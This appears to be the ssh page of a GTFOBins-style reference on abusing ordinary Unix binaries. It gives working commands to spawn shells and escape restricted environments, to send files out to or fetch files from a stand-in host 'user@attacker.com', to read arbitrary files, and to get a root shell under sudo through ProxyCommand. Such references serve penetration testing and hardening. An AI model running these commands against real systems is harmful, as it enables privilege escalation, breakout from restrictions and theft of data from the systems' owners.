

.. / ssh

Shell

File upload

File download

File read

Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

(a)

Reconnecting may help bypassing restricted shells.

```
ssh localhost $SHELL --noprofile --norc
```

(b)

Spawn interactive shell through ProxyCommand option.

```
ssh -o ProxyCommand=';sh 0<&2 1>&2' x
```

(c)

Spawn interactive shell on client, requires a successful connection towards `host`.

```
ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host
```

File upload

It can exfiltrate files on the network.

Send local file to a SSH server.

```
HOST=user@attacker.com  
RPATH=file_to_save  
LPATH=file_to_send  
ssh $HOST "cat > $RPATH" < $LPATH
```

File download

It can download remote files.

Fetch a remote file from a SSH server.

```
HOST=user@attacker.com
RPATH=file_to_get
LPATH=file_to_save
ssh $HOST "cat $RPATH" > $LPATH
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

The read file content is corrupted by error prints.

```
LFILE=file_to_read
ssh -F $LFILE localhost
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

Spawn interactive root shell through ProxyCommand option.

```
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
```